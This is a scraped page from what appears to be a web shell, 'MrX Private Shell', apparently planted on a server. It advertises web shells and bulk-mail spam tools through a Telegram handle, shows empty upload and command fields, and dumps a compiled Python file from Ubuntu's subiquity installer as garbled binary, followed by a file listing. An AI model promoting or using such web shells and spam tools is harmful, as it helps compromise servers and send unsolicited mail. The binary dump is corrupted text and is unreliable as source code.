__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
o

K��^��@s>ddlZddlZddlZddlZddlZddlZddlmZe�d�Z	dd�Z
dd�Zdejejdd	dd
�dee
dejfd
d�Zejejddd	ddd�dee
dejfdd�Zejejejdd�dee
dejjfdd�Zdee
de
dee
fdd�Zejejejdd	dd�dee
dejfdd�Zd!dd�Zdd �ZdS)"�N)�Listzsubiquitycore.utilscCs(|dur
tj��}n|��}d|d<|S)N�C�LC_ALL)�os�environ�copy)�env�r	�+/usr/share/subiquity/subiquitycore/utils.py�
_clean_envs
rcCsb|durtj}|��}|��D]\}}|�d�r.|dtd��}|r(|||<n||=||=q|S)N�_ORIG)rrr�items�endswith�len)r�ret�key�val�key_to_restorer	r	r
�orig_environ%s

�rzutf-8�replace)�input�stdout�stderr�encoding�errorsr�cmd�returnc

Ks�|dur
tj|d<n|�|�}t�d|�z.tj|f|||t|�d�|��}|rBt|jt	�r5|j�
|�|_t|jt	�rB|j�
|�|_WntjyY}	z	t�dt
|	���d}	~	wwt�d|j|j�|S)z�A wrapper around subprocess.run with logging and different defaults.

    We never ever want a subprocess to inherit our file descriptors!
    N�stdinzrun_command called: %s)rrrrzrun_command %sz"run_command %s exited with code %s)�
subprocess�DEVNULL�encode�log�debug�runr�
isinstancer�bytes�decoder�CalledProcessError�str�args�
returncode)
rrrrrrr�kw�cp�er	r	r
�run_command4s.
�����r.F)rrrrrr�checkc
�s��|durd|vrtj|d<n
tj|d<|�|�}t�d|�tj|||t|�d�|��IdH}	|	j	|d�IdH\}}|rO|durF|�
|�}|durO|�
|�}t�d||	j�|re|	jdkret�|	j|��t�
||	j||�S)Nrzarun_command called: %s�rrr)rz#arun_command %s exited with code %sr)rr�PIPEr r!r"�asyncio�create_subprocess_execr�communicater&r*r'�CompletedProcess)
rrrrrrrr/r+�procr	r	r
�arun_commandPs2�
�

��


�r7)rrrrc�s0�t�d|�tj|||t|�d�|��IdHS)Nzastart_command called: %sr0)r!r"r2r3r)rrrrrr+r	r	r
�astart_commandls���r8�split_onc�s �t|dd�IdH}|j�|�S)NT)r/)r7r�split)rr9r,r	r	r
�split_cmd_outputus�r;)rrrrrrcKs,t�d|�tj|f|||t|�d�|��S)z�A wrapper around subprocess.Popen with logging and different defaults.

    We never ever want a subprocess to inherit our file descriptors!
    zstart_command called: %s)rrrr)r!r"r�Popenr)rrrrrrrr+r	r	r
�
start_commandzs��r=�SHA-512csdddddd�}||vrtd�|d�|������d�d	}d��fd
d�|D��}t�||||�S)Nz$6$z$5$z$1$�)r>zSHA-256�MD5�DESz&Invalid algo({}), must be one of: {}. �,z@abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789./z                csg|]}t����qSr	)�random�choice)�.0�c��salt_setr	r
�
<listcomp>�sz"crypt_password.<locals>.<listcomp>)�	Exception�format�join�keys�crypt)�passwd�algo�algos�saltr	rGr
�crypt_password�s�rScCs>t�d�tgd��tddg�tgd��tgd��dS)z; Stop subiquity service; which also restores getty service zdisabling subiquity service)�mkdirz-pz/run/subiquity�touchz/run/subiquity/complete)�	systemctl�start�
--no-blockz[email protected])rV�stoprXz(snap.subiquity.subiquity-service.servicezserial-subiquity@*.serviceN)r!�infor.r	r	r	r
�disable_subiquity�s
r[)r>)r2rN�loggingrrCr�typingr�	getLoggerr!rrr1r(r5r.r7r�Processr8r;r<r=rSr[r	r	r	r
�<module>sJ
�
��
��
�	�
�


Filemanager

Name Type Size Permission Actions
__init__.cpython-310.pyc File 263 B 0644
async_helpers.cpython-310.pyc File 2.17 KB 0644
context.cpython-310.pyc File 4.42 KB 0644
controller.cpython-310.pyc File 1.65 KB 0644
controllerset.cpython-310.pyc File 1.68 KB 0644
core.cpython-310.pyc File 3.61 KB 0644
file_util.cpython-310.pyc File 1.36 KB 0644
i18n.cpython-310.pyc File 1.25 KB 0644
log.cpython-310.pyc File 1.11 KB 0644
lsb_release.cpython-310.pyc File 976 B 0644
netplan.cpython-310.pyc File 5.41 KB 0644
palette.cpython-310.pyc File 2.38 KB 0644
prober.cpython-310.pyc File 1.4 KB 0644
pubsub.cpython-310.pyc File 1.26 KB 0644
screen.cpython-310.pyc File 4.01 KB 0644
snapd.cpython-310.pyc File 6.43 KB 0644
ssh.cpython-310.pyc File 3.13 KB 0644
tui.cpython-310.pyc File 10.75 KB 0644
tuicontroller.cpython-310.pyc File 4.02 KB 0644
utils.cpython-310.pyc File 4.46 KB 0644
view.cpython-310.pyc File 2.55 KB 0644
Filemanager